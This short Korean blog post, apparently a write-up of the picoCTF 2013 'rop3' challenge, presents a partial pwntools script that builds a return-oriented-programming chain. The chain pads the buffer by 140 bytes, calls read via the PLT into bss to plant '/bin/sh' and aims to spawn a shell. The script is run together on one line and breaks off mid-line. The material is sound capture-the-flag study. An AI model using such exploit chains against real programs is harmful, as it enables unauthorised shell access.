[pico CTF 2013] rop3

pico CTF Rop3번문제 (grin) 취약점 분석! 똑..같다 ㅎ하지만 이번에는 shell을 직접 띄어줘야한다 ㅠㅠ 저번에푼rop공룡같이 풀어본다!! 123456789101112131415161718192021222324252627282930313233from pwn import * r = process("./rop3") payload = ""read_plt = 0x08048360read_got = 0x0804a000write_plt = 0x080483a0shell = "/bin/sh"bss = 0x0804a020offset = 0x9ad60pppr = 0x804855d payload += "A"*140payload += p32(read_plt) + p32(pppr) + p32(0) + p32(bs..

2018.08.16